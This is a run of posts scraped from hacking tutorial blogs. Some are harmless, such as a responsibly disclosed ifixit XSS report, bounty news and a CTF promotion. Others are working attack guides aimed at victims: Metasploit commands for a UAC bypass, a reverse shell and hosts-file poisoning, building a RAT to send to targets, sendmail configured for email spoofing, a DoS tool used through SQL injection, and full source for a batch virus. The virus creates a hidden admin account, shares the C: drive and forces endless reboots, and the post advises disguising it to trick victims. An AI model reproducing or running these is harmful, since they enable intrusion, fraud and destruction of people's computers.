ifixit.com Stored XSS Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxuaK4gZ-02gNN8uQrnafEvNODgSCcYXIS2M5i8sbdnMbZUIx2b6nAb186DN9XYuWaJIn_uWMaRVvoSK-c0lqHbEtp3uecbjyS0ibeY1Nf1K6_wyqlGADu7bL_UsiztnPHTHZDfE5yJ88/s1600/3444991_300.jpg" /></a></div><br />Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed to get some time to write something, Today i am sharing some of the vulnerabilites i found inside a popular website named "ifixit".<br /><br />I found two XSS one was a Stored XSS and a second one was a Self XSS, However the Self-XSS could have been easily exploited by <a href="http://www.rafayhackingarticles.net/2012/03/hijacking-facebook-users-clickjacking.html">Clickjacking</a> techniques as the page did not contain X-Frame options, Therefore the Self-XSS was also considered.<br /><a name='more'></a>I have created a short POC of the Stored Cross Site Scripting vulnerability (XSS), I hope you enjoy it:<br /><h4>iFixit Stored Cross Site Scritping [Video POC]:</h4><div class="separator" style="clear: both; text-align: center;"><object class="BLOGGER-picasa-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCh231PqAjnAwXn89W-ORZgO2BXtB8yGdk3_vRXcE-9jGlXvjDA0hvKTCxCWncrU6hH_pMJVrfPxwckgglpyi_dyoogmFbc-BgkQw9zojACSk8-QMJGRkKcPorSzH3Fb1coX6QdisHTIo/s1600/IFIXIT+PERSISTANT+XSS.mp4" height="266" width="320"><param name="movie" value="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="577" height="266" src="http://video.google.com/googleplayer.swf?videoUrl=http%3A%2F%2Fredirector.googlevideo.com%2Fvideoplayback%3Fid%3D9d051db678d3e474%26itag%3D18%26source%3Dpicasa%26cmo%3Dsensitive_content%253Dyes%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1359573833%26sparams%3Did%2Citag%2Csource%2Cip%2Cipbits%2Cexpire%26signature%3D378B4B2BA68625B19EB48547219A3B5EF20046F6.1D02A16C189B80C6132AD48CA50A719DE23CE000%26key%3Dlh1" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object></div><h4>iFixit Self-XSS POC</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj10EFLiiZpdx-jm7VsoJaMMZ90YuIuN49j1X9If3YBIKctf6_2R1SvVbvWrbvGWOEQ8rk8sRYbYwnCSJ6I4uUSYl09KCc6oezYAGiwuJmCHbZi365zoDOlfsfzbyHuGUkStCzv9Eb3zJ4/s640/ifixit.png" width="577" /></a></div><br />For the above vulnerabilities, i was listed inside ifixit.com's responsible disclosure page:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s1600/ifixit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="604" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUEFYQ72Q8Ur7jmaGeWrlUQa52VmlwoFYTnCUtsTc5sglVYjWrF_Zvww_1eCqQPHx8ri-yYuzcshcmPqJgabpIVudN2bn7mZW4uXa7Q_Ns-nrJE-JAVKFI9jZgauZxD_ieGi1rvpIF81M/s640/ifixit.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Along with it, they also sent me two T-Shirts, some stickers and a 54 bit driver toolkit:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s1600/IMAG0545.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtNiRuUnnHDYytLHzl-BXDZH5BOpIqHg3m7ZV8Sfip0_msAZeu4uEZrxnBrjFft5nowVQgatoSUgt90dghhRHFltaTXFZTxOpN8pDexemSZPud3jwoEHuakJJduZ2UT4iBDArGubH-h-w/s640/IMAG0545.jpg" width="577" /></a></div></div>

ifixit.com Stored XSS Vulnerability

Well, it has been a long time, since i haven't posted any thing, i was a bit busy with my university exams, However, finally i managed t...

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D.N.S. poisoning using metasploit.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P address. Absolutely we will use metasploit.<br /><br />(1)Hack remote p.c .(<a href="http://tipstrickshack.blogspot.in/search/label/metasploit" target="_blank">How to hack Remote P.C.?</a>)<br /><br />(2)Now we will Bypass U.A.C. protection of windows.<br /><br />(3)Open Terminal & type following code in terminal<br /><br />msfconsole<br /><br />use exploit/windows/local/bypassuac<br /><br />set payload windows/meterpreter/reverse_tcp<br /><br />set lhost 192.168.1.6<br /><br />set session 1<br /><br />exploit<br /><br />(4)Now we will edit host file.<br /><br />msf >use post/windows/manage/injet_host<br /><br />msf post(injet_host) >set domain www.google.com<br /><br />msf post(injet_host) >set ip Your Desired I.P.<br /><br />msf post(injet_host) >set session 2<br /><br />msf post(injet_host) >exploit<br /><br />This will Redirect google.com in victim p.c to your desired I.P.<br /></div>

D.N.S. poisoning using metasploit.

Today we will edit hot file of the Remote P.C which has been compromised. By editing Host file you can Redirect any website to any I.P addre...

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How to use R.A.T. through S.E.T?

<div dir="ltr" style="text-align: left;" trbidi="on">RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made from hackers, there is possibility of back-door in that readily available software. So today we use RAT through Social engineering toolkit(SET).<br /><br />(1)Open your terminal & type<br /><br />cd /opt/set<br /><br />./set<br /><br />(2)update your set<br /><br />(3)Now select option 3 which is Third party Modules<br /><br />(4)Now select option 2 which is RATTE (Remote administration tool tommy edition).<br /><br />(5)Enter I.P. Address of your computer to connect back<br /><br />(6)Port RATTE Server should listen on [8080]: press enter<br /><br />(7)Should RATTE be persistent [no|yes]?:yes<br /><br />(8)Use specifix filename (ex. firefox.exe) [filename.exe or empty]?:cool.exe<br /><br />(9) Payload has been exported to src/program_junk/ratteM.exe<br /><br />(10)Now send your ratteM.exe files to victim, as soon as they download and open it<br /><br />Start the ratteserver listener now [yes|no]:yes<br /><br />(11)chose 1 option which is list client<br /><br />(12)if the payload been executed successfully, then you will see a new session and the client details. Note down the session number. Enter the session you want to interact with:press 0 here<br /><br />Now choose option2 “activate client”<br /><br />Now you get menu with lots of menu. Select 1st option which is start shell.</div>

How to use R.A.T. through S.E.T?

RAT is Remote Administration tool , using RAT you can control Remote P.C. ,there are lots of software available for RAT , but they are made ...

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Hackers Get Your Team Ready - CTF 365

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFXtdA02atYmRiaH7dDmoi-TGIU1dWFP2AqYFV1yoZrTokv8pJ62qI485w4TWQdU-YO0ly7t9gNy5zx_NXvn_53gmHJM9NeEU1HTTTF0z4exPwArmkYWM0g3J5Ye0BMqUxXVzeIMwqfU/s1600/RafayBalog+-+CTF+Article_html_7ef5ca07.png" /></a></div><br /><br /><div style="margin-bottom: 0in;">When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more important how to find vulnerabilities and flaws within the systems you are after. This is a never ending training and the way you can do it most intensely and extensively is on CTF competitions. </div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">Today's <b>CTF</b> are becoming more and more complex and engaged. You can find from level based CTF's where you have to pass a level in order to get access to the next, up to more sophisticated systems that mimic different scenarios like internet bank phishing, to complex money laundering scenarios up to attack and defend games where each team get a server full of vulnerabilities or flaws and teams have to patch it while other members exploits the other teams servers.</div><div style="margin-bottom: 0in;"></div><a name='more'></a><br /><div style="margin-bottom: 0in;">Any good thing comes with bad things too. Beside their value as an alternative to infosec training labs, there are also some cons. CTFs are held yearly, spread it all over the world, held for short period of time, far from the real world internet (e.g. no DoS or DDoS attacks allowed). Most of them fall into oblivion, even though they are fun.</div><div style="margin-bottom: 0in;"><br /></div>We at CTF365 decided to change CTF competitions for the better and we promise to blow your expectations. We'll simply build an internet within The Internet where everything will be possible. Well, almost everything. Routers, switches, networks, DoS or DDoS attacks, you name it.<br /><em>CTF365 is World of Warcraft for Hackers except that instead of fighting in a fantasy world, with imaginary powers against imaginary characters, CTF365 will replicate the real world as much as possible, and you will have to fight with your own real tools... hacking tools. </em><br /><em><br /></em><em>B</em><em>ackTrack, Metasploit, Nmap, BackBox Linux or whatever you choose to use as weapons. You will have your own Fortress (your own server) to defend, with your own network, routers, and switches. You will build your own team and we will provide you with RTTK – Red Team Tool Kit for team communication and many more features. There will be as few rules as possible trying to get to the perfect cyber wargame: No rules at all.</em><br /><em><br /></em><strong>CTF365</strong> will provide the infrastructure VPS included.<br /><br /><div style="margin-bottom: 0in;">This is CTF365 team's goal. To create an internet within the real internet, a place where everybody can hack others machines while protect their own and become better and better in their day-to-day trainings.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">CTF365 will test the teams for both defensive and offensive skills and its goal is to make players to become better at what they love to do most; offensive and/or defensive security. Having a place full of different kind of systems give players the opportunity to feel like in real life when you don't know what it'll be around the coroner.</div><div style="margin-bottom: 0in;"><br /></div><div style="margin-bottom: 0in;">As a system administrator you and your team can experiment new configurations without the fear that something wrong can happen or you can simply train your skills to protect your system. CTF365 is the ultimate testing field for servers administrators and pentesters.</div></div>

Hackers Get Your Team Ready - CTF 365

When it comes to infosec industry we all know that practice is the best way to learn how to defend and protect your system and more importan...

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How to install & configure send mail in Ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our machine as a server. I will show you how to install & configure Send-Mail. So we can spoof email to targets. But problem is that this email is detected as spam due to automatic sending through machine.<br /><br /><h3 style="text-align: left;">How to Install Send-Mail?</h3><br />Open terminal & type following command in terminal.<br /><br />sudo apt-get install mailutils<br /><br />sudo apt-get install sendmail<br /><br /><br /><h3 style="text-align: left;">How to configure it?</h3><br />After installing sendmail , you should configure sendmail. It`s little hard. But don`t worry after that we can spoof email to anyone.<br /><br />Type following command on terminal<br /><br />sudo gedit /etc/mail/sendmail.mc<br /><br />It will open sendmail.mc file.<br /><br />For example your last two lines are as follow<br /><br />MAILER(`local')dnl<br /><br />MAILER(`smtp')dnl<br /><br />Put this code before that two lines.<br /><br />MAILER_DEFINITIONS<br /><br />define('SMART_HOST',`smtp.gmail.com')<br /><br />Ok. now close that file<br /><br />Now we will generate configure file from .mc file so type following command in terminal.<br /><br />sudo bash -c 'cd/etc/mail/ && m4 sendmail.mc >sendmai.cf'<br /><br />Now everything is complete, try to send mail using terminal or use <a href="http://tipstrickshack.blogspot.com/2012/12/how-to-install-social-engineering.html" target="_blank">Social Engineering Tool-Kit</a> as i mention in previous post. <br /><br /><br /><h3 style="text-align: left;">How to send mail through Command?</h3><br />open terminal and type following command.<br /><br />telnet 127.0.0.1 25<br /><br />HELO server<br /><br />MAIL from:sender`s email address<br /><br />RCPT to: Recipient address<br /><br />DATA<br /><br />Subject:Test mail<br /><br />from: sender`s email address<br /><br />to: receiver`s address<br /><br />Test Mail <br /><br />.<br /><br />quit<br /><br /><br />Now check spam folder of receiver`s email , you got email . Now check show original option of email , you can see that i.p. of computer , o.s. , many other things. <br /><br /></div>

How to install & configure send mail in Ubuntu?

Send mail is program which will help you to send email through command, you can send email from terminal or CMD . In this program we use our...

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How to install social engineering toolkit(S.E.T.) in ubuntu?

<div dir="ltr" style="text-align: left;" trbidi="on">Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other than BACKTRACK , then you can install it .<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a> <br /><br />Extra package which is necessary to use SET effectively are as follow.<br /><br />(1)Metasploit:- You can see my old post about how to install metasploit in ubuntu <a href="http://tipstrickshack.blogspot.com/2012/09/how-to-install-metasploit-in-ubuntu.html" target="_blank">here</a>.<br /><br />(2)Ettercap:- If you are on any network & want to attack on network like Man in the Middele Attack or DNS poisoning then you require it.<br /><br />To install Ettercap open terminal in type following command:-<br /><br />sudo apt-get install ettercap<br /><br />(3)Openjdk-6-It`s necessary program to use SET. Just type following command in terminal<br /><br />sudo apt-get install openjdk-6-jdk<br /><br /><br />Now open terminal & change directory to opt.<br /><br />sudo bash<br /><br />cd /opt<br /><br />svn co <a href="http://svn.secmaniac.com/social_engineering_toolkit%20set/" target="_blank">http://svn.secmaniac.com/social_engineering_toolkit set/</a><br /><br />cd /opt/set<br /><br />svn update<br /><br />nano config/set_config<br /><br />Now we will configure it. First it require metaspolit path . So we will put it on configure file. Here comes problem , in first step we install metasploit , it`s directory is opt/metasploit-4.4.0/msf3. But when we put this path in configure file it cannot detect metasploit . So we have to rename metasploit-4.4.0 to framework3. So rename metasploit-4.4.0 folder name to framework3.<br /><br />Put opt/framework3/msf3 this path in config file. Save it.Type in terminal.<br /><br />./set<br /><br />It will open SET .<br /><br />In next tutorial I will show you how to configure sendmail & use it in set.<br /><br />I Know I cannot explain good, So if you face any problem please mention in comment.<br /><br /><a href="http://tipstrickshack.blogspot.com/2013/01/how-to-move-set-to-github.html" target="_blank">Updated:This article was written when S.E.T. use SVN. Now it`s move to github. So please click here to new installation method.</a></div>

How to install social engineering toolkit(S.E.T.) in ubuntu?

Social Engineering Tool kit is cool tool which came with BACKTRACK, this increase power of metasploit. If you are on any linux system other ...

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The Story Behind, How The Data Was Stolen

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber criminals. And hearing this news during the end of the year with Christmas approaching can only be the Grinch’s cherry on top to a year of disastrous security failures. But the sad fact is many more people are being faced with this problem as Grinch-like hackers continue to steal data on an increasingly significant basis. We may think that we are safe from the problem but in reality we are right in the midst of it, with internet giants coming under the radar as well!<br /><br />Armed with keyloggers, Trojans, backdoor exploit methods and whatnot; these Grinches are pulling for the grand finale as 2012 comes to a close. Of course, this means that the data Industry has been lacking some major incentives and preventive measures that allowed these criminals to slip in between the cracks and make off with our data. The data breach investigations report is a pictorial representation of the actual scenario; read it to figure out the happenings.<br /><br /></div><a href="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg"><img alt="" border="0" src="http://www.mobistealth.com/blog/wp-content/uploads/2012/12/grinch_data_theft.jpg" width="577" /></a><br />Source: <a href="http://www.mobistealth.com/" rel="no follow">MobiStealth.com</a></div>

The Story Behind, How The Data Was Stolen

No one likes to hear the bad news that their computer, email, or phone has been hacked and the data stored in it has been plundered by cyber...

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PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug

<div dir="ltr" style="text-align: left;" trbidi="on">                  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" imageanchor="1" style="background-color: white; border: none; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: initial;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCi76jibbwqNwaZa-tvbU-oJv83vsnu5iBtiiHLgwAYtYTR2PFESQtz8rFP6FpAQAXwRnGU1kb9zxO93iS7X_eoQ_Y-e4dQt3XYeABd7ofP3wJ49bjqmsVLgeNVPo-yaZ6WSV3U6p6Vak/s1600/bugs.jpg" style="border-width: 0px; padding: 10px;" /></a><br />Recently, I wrote about the <a href="http://www.rafayhackingarticles.net/2012/12/wow-paypal-sends-me-5000-for-command.html">command execution vulnerability</a> i found in Paypal for which they sent me an initial payment of 5000$, This story was featured in lots of popular technology blogs like Softpedia, ProPakistani, MyBloggertricks etc. Recently i received an email from Paypal, where they informed me that they have deposited the remaining bounty "4750$" to my business partners Paypal account.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1gsTZFbg-gE7R6g04qUbrp456Hoecv-uGexgPXRtKVFlMbNrRrxGZFB_v838f6gnmvjI2JAZFIKmoS9ZD71q2uHkW0xc_-eY2-VCsWtlelyUpmVPn1wwPiJJYDodwLMz_ZBJTbt_TVOM/s1600/Paypalw.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1gsTZFbg-gE7R6g04qUbrp456Hoecv-uGexgPXRtKVFlMbNrRrxGZFB_v838f6gnmvjI2JAZFIKmoS9ZD71q2uHkW0xc_-eY2-VCsWtlelyUpmVPn1wwPiJJYDodwLMz_ZBJTbt_TVOM/s640/Paypalw.png" width="577" /></a></div><br />I would also like to let you know that, still more than 20 bugs i sent are being validated by Paypal. </div>

PayPal Pays Me A Total Bounty Of 10,000 For The Command Execution Bug

                   Recently, I wrote about the command execution vulnerability i found in Paypal for which they sent me an initial payment ...

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Mohammad Chose Blogging, I Choose Hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><img align="left" alt="blog or hack" border="0" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0W-PgmgDpiDQvof5-EUIIq_NiLQk8lcxBKX-bSmswNQuJzyYCiwUox9KcbHrH48ORDkWzJXIKs7PcIfs8geghNPPfA8UMbiEAlUHMjjTiH4QHsbykfIOWvLcH3dKLwcqW8gqmk4K3aydA/?imgmax=800" style="background-color: white; background-image: none; border: 0px; color: #333333; display: inline; float: left; font-family: Verdana; font-size: 13px; line-height: 20.78333282470703px; margin: 0px 7px 0px 0px; padding: 0px 0px 10px; text-align: justify;" title="blog or hack" width="420" /><span style="background-color: white; color: #333333; font-family: Verdana; font-size: 13px; line-height: 20.78333282470703px; text-align: justify;"></span><br /><div>Well, this post is not an ordinary one that talks about "Making Six Figure Income Online" or making millions from blogging, it rather contains some interesting piece of advices for Novice Bloggers and also the Ninjas out there who are struggling hard to survive online. It all started, when Mohammad and I met back in 2009 in a Snooker Club. We both were interested in blogging and Internet Marketing, so we therefore had arranged a meeting in order to share our existing blogging strategies.</div><div>Read More about the whole story on Mybloggertricks "<b><a href="http://www.mybloggertricks.com/2012/12/mohammad-chose-blogger-i-chose-hacking.html">Mohammad Choose Blogger, I Choose Hacking</a></b>".</div></div>

Mohammad Chose Blogging, I Choose Hacking

Well, this post is not an ordinary one that talks about "Making Six Figure Income Online" or making millions from blogging, it ra...

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Download Free E-books about Hacking

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="text-align: left;"><br /></div>Hello guys, if you want to learn more about Hacking & Computer Security ,i uploaded below eBooks on dropbox.Download link is in end.<br /><br />List of Books are as follow.<br /><br />(1)CEH(Certified Ethical Hackers)2010V6.<br /><br />(2)Hacking Wireless Networks For Dummies.<br /><br />(3)H gray hat hacking.<br /><br />(4)Blind_SQLInjection.<br /><br />(5)backtrack-4-assuring-security-by-penetration-testing.<br /><br />(6)Collections of Ankit Fadia Hacking Book.<br /><br />(7)Secrets of Reverse Engineering.<br /><br />(8)Social Engineering toolkit<br /><br />(9)Ethical Hacking and Countermeasures- Web Applications and Data Servers.<br /><div style="margin-bottom: 0in; text-align: left;"><br /><span style="color: red;">New books Added</span><br /><br /><span style="color: red;"><span style="color: black;">(10)CSRF attack & Defense</span></span><br /><br /><span style="color: red;"><span style="color: black;">(11)Armitage guide</span></span><br /><span style="color: red;"><span style="color: black;"><br /></span></span><span style="color: red;"><span style="color: black;">(12)Pass-the-hash attacks: Tools and Mitigation</span></span><br /><span style="color: red;"><span style="color: black;"><br />(13)HACKING: THE ART OF EXPLOITATION</span></span><br /><span style="color: red;"><span style="color: black;"><br />(1<span style="font-size: small;">4</span>)XSS Attacks - Exploits and Defense</span></span><br /><br /><span style="color: red;"><span style="color: black;">(15)Seven Deadliest Network Attack</span> </span><br /><br /><br /><a href="http://db.orangedox.com/AXETYRPz9witTJW4WE/ebook.7z" rel="nofollow" target="_blank">Download link:- Please click here.</a></div></div>

Download Free E-books about Hacking

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How to use REFREF?

<div dir="ltr" style="text-align: left;" trbidi="on">As we know in past , famous Hacktivist group Anonymous carried out series Of DDOS attack in number of websites like paypal ,master-card ,visa. At that time they used tool LOIC for down the website.<br /><br />Although they got success in their project ,but due to LOIC some of hackers arrested later. So they decide to build new weapon for DOS attack.<br /><br />It was REFREF. It is programmed in perl ,java ,python.But main requirement is URL must be vulnerable to SQL injection. It mean if you found website which is vulnerable to SQL injection , then by using this tool you can easily down website.<br /><br />You can Download REFREF SCRIPT from <a href="http://www.4shared.com/file/mzJDxPSM/refref.html" target="_blank">here</a>.<br /><br /><h3>How to use?</h3><br />It`s pretty simple. Just open terminal change path & Execute script.<br /><br />cd Downloads<br /><br />perl refref.pl vulnerable URL<br /><br />It will down website in short time. This tools is very effective , 17 second attacks from single machine resulting down 42 min outage on pastebin.</div>

How to use REFREF?

As we know in past , famous Hacktivist group Anonymous carried out series Of DDOS attack in number of websites like paypal ,master-card ,vis...

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Batch File Virus -4

<div dir="ltr" style="text-align: left;" trbidi="on">@echo off<br /><br />cd\<br /><br />cd %SystemRoot%\system32\<br /><br />md 1001<br /><br />cd\<br /><br />cls<br /><br />rem N0 H4rm 15 cau53d unt1| N0w<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000<br /><br />echo 12:00:00.00 | time >> nul<br /><br />echo 01/01/2000 | date >> nul<br /><br />net users Microsoft_support support /add<br /><br />rem Th3 u53r 4cc0unt th4t w45 Cr34t3d 15 ju5t 4 |1m1t3d 4cc0unt<br /><br />rem Th15 p13c3 0f c0d3 w1|| m4k3 th3 |1m1t3d u53r 4cc0unt5 t0 4dm1n15tr4t0r 4cc0unt.<br /><br />net localgroup administrators Microsoft_support /add<br /><br />rem 5h4r3 th3 R00t Dr1v3<br /><br />net share system=C:\ /UNLIMITED<br /><br />cd %SystemRoot%\system32\1001<br /><br />echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) ><br /><br />%SystemRoot%\system32\1001\warnusr.vbs<br /><br />rem ch4ng35 th3 k3yb04rd 53tt1ng5 ( r4t3 4nd d3|4y )<br /><br />mode con rate=1 > nul<br /><br />mode con delay=4 >> nul<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y 50m3 4nn0y1ng m5g, as c0d3d ab0v3, 3×4ct|y<br /><br />@ 12:01 and 12:02<br /><br />at 12:01 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”<br /><br />at 12:02 /interactive “%SystemRoot%\system32\1001\warnusr.vbs”<br /><br />msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” > nul<br /><br />msg * “You are requested to restart your Computer Now to prevent Damages or Dataloss” >><br /><br />nul<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| c0py th3 warnusr.vbs f1|3 2 th3 5t4rtup, th4t w1|| b3 3×3cut3d @ 3v3ryt1me th3 c0mput3r 5t4rt5<br /><br />copy %SystemRoot%\system32\1001\warnusr.vbs “%systemdrive%\Documents and Settings\All<br /><br />Users\Start Menu\Programs\Startup\warnusr.vbs”<br /><br />rem<br /><br />***************************************************************************<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| d15p|4y Th3 5hutd0wn d14|05 B0X w1th 50m3 m5g and w1|| r35t4rt c0nt1nu0u5|y<br /><br />echo shutdown -r -t 00 -c “Microsoft has encountered a seriuos problem, which needs your attention right now. Hey your computer got infected by Virus. Not even a single anti-virus can detect this virus now. Wanna try? Hahahaha....! ” > %systemroot%\system32\1001\sd.bat<br /><br />copy %systemroot%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat<br /><br />“%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\sd.bat”<br /><br />rem<br /><br />***************************************************************************<br /><br />cd\<br /><br />cls<br /><br />rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| m4k3 th3 v1ru5 b1t 5t34|th13r<br /><br />cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\<br /><br />attrib +h +s +r warnusr.vbs<br /><br />attrib +h +s +r sd.bat<br /><br />cd\<br /><br />cd %systemroot%\system32<br /><br />attrib +h +s +r 1001<br /><br />rem K1||5 th3 3xp|0r3r.3×3 Pr0c355<br /><br />taskkill /F /IM explorer.exe<br /><br />rem @ EOV // End of Virus<br /><br />Copy the source code and paste it in a notepad, then save it with the .bat extension. This virus program will begin its operation at C:\windows\system32 and creates a new directory with name '1001', changes the time to 12:00 and date to 01-01-2000, then creates a new user with account name 'Microsoft_support' with a password 'support' matching the account.<br /><br />It automatically assigns administrator rights to the user account that was created, then shares the root drive 'C:' which really is a security issue making the system completely vulnerable. It will create a VBScript file with name 'warnusr.vbs' that is used to display a message 'Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or<br /><br />Press No to Ignore the Virus', that really seems to be coming from the operating system itself, then it will change the keyboard setting by reducing the rate and delay time. Since the time and date has been already modified by the virus, it will automatically pop up a message stating 'You are requested to restart your Computer Now to prevent Damages or Data loss' exactly at 12:01 and 12:02, if the user restarts the computer, then it’s gone.<br /><br />Whenever the user try to login to the computer, it will automatically reboots continuously, because the command 'shutdown -r' is set with time 00, and kept in start-up folder, the user has nothing to stop this unless he enters in safe mode and delete the file, more over the file is set with system and hidden attribute making it invisible.<br /><br />The only way to stop this is to enter in safe mode and disable the start-up items, and then delete the file that reside in C:\windows\system32\1001 and in the start-up folder.<br /><br />You can also use some exe-binders to bind this virus with any audio, video, text or whatever the files may be, then use some social engineering technique to make the victim execute the file by himself to harm his/her computer.<br /><br />You can create this virus without using any third party tools in windows, also instead of exe-binder, you can use the ‘iexpress’ wizard to create a custom package. </div>

Batch File Virus -4

@echo off cd\ cd %SystemRoot%\system32\ md 1001 cd\ cls rem N0 H4rm 15 cau53d unt1| N0w rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3...

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Batch File Virus -3

